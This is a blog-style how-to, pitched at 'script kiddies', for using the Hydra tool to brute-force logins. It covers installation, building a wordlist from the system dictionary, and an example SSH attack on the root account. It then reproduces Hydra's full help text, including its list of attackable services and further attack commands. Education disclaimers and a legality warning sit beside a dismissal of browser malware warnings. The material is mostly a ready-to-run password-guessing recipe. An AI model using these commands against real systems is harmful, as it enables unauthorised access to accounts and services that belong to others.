Script Kiddies to use hydra

This is intended for Education purpose!

After researching how to defend our network, I want to share how to perform what they are doing. It is very easy to perform automatic password attack against various services. One of their tools is hydra. Chrome mark https://www.thc.org/ "The site ahead contains harmful programs" and Firefox mark it as "Reported Unwanted Software Page!". Who's care.... LOL

To install it

# apt-get install hydra

or

# yum install hydra

To create dictionary install British words

# apt-get install wbritish

or

# yum install words

You don't need to run this as root. 

Create a directory (whatever you want). I use directory hydra. 

$ mkdir hydra
$ cd hydra

Now create words file before running hydra.

$ cat /usr/share/dict/words > words.txt

You can perform ssh using

hydra -l root -P words.txt ssh://xxx.xxx.xxx.xxx

To get more option:

$ hydra -h

Hydra v8.0 (c) 2014 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes.

Syntax: hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W TIME] [-f] [-s PORT] [-x MIN:MAX:CHARSET] [-SuvVd46] [service://server[:PORT][/OPT]]

Options:

  -R        restore a previous aborted/crashed session

  -S        perform an SSL connect

  -s PORT   if the service is on a different default port, define it here

  -l LOGIN or -L FILE  login with LOGIN name, or load several logins from FILE

  -p PASS  or -P FILE  try password PASS, or load several passwords from FILE

  -x MIN:MAX:CHARSET  password bruteforce generation, type "-x -h" to get help

  -e nsr    try "n" null password, "s" login as pass and/or "r" reversed login

  -u        loop around users, not passwords (effective! implied with -x)

  -C FILE   colon separated "login:pass" format, instead of -L/-P options

  -M FILE   list of servers to attack, one entry per line, ':' to specify port

  -o FILE   write found login/password pairs to FILE instead of stdout

  -f / -F   exit when a login/pass pair is found (-M: -f per host, -F global)

  -t TASKS  run TASKS number of connects in parallel (per host, default: 16)

  -w / -W TIME  waittime for responses (32s) / between connects per thread

  -4 / -6   prefer IPv4 (default) or IPv6 addresses

  -v / -V / -d  verbose mode / show login+pass for each attempt / debug mode

  -q        do not print messages about connection erros

  -U        service module usage details

  server    the target: DNS, IP or 192.168.0.0/24 (this OR the -M option)

  service   the service to crack (see below for supported protocols)

  OPT       some service modules support additional input (-U for module help)

Supported services: asterisk cisco cisco-enable cvs firebird ftp ftps http[s]-{head|get} http[s]-{get|post}-form http-proxy http-proxy-urlenum icq imap[s] irc ldap2[s] ldap3[-{cram|digest}md5][s] mssql mysql nntp oracle-listener oracle-sid pcanywhere pcnfs pop3[s] postgres rdp redis rexec rlogin rsh s7-300 sip smb smtp[s] smtp-enum snmp socks5 ssh sshkey svn teamspeak telnet[s] vmauthd vnc xmpp

Hydra is a tool to guess/crack valid login/password pairs. Licensed under AGPL

v3.0. The newest version is always available at http://www.thc.org/thc-hydra

Don't use in military or secret service organizations, or for illegal purposes.

These services were not compiled in: sapr3 afp ncp oracle.

Use HYDRA_PROXY_HTTP or HYDRA_PROXY - and if needed HYDRA_PROXY_AUTH - environment for a proxy setup.

E.g.:  % export HYDRA_PROXY=socks5://127.0.0.1:9150 (or socks4:// or connect://)

       % export HYDRA_PROXY_HTTP=http://proxy:8080

       % export HYDRA_PROXY_AUTH=user:pass

Examples:

  hydra -l user -P passlist.txt ftp://192.168.0.1

  hydra -L userlist.txt -p defaultpw imap://192.168.0.1/PLAIN

  hydra -C defaults.txt -6 pop3s://[2001:db8::1]:143/TLS:DIGEST-MD5

  hydra -l admin -p password ftp://[192.168.0.0/24]/

  hydra -L logins.txt -P pws.txt -M targets.txt ssh

WARNING: FOR EDUCATION PURPOSE! DO IT ON YOUR LOCAL NETWORK AND WITH YOUR OWN RISK. DOING THIS IS ON PUBLIC NETWORK IS BREAKING A LAW!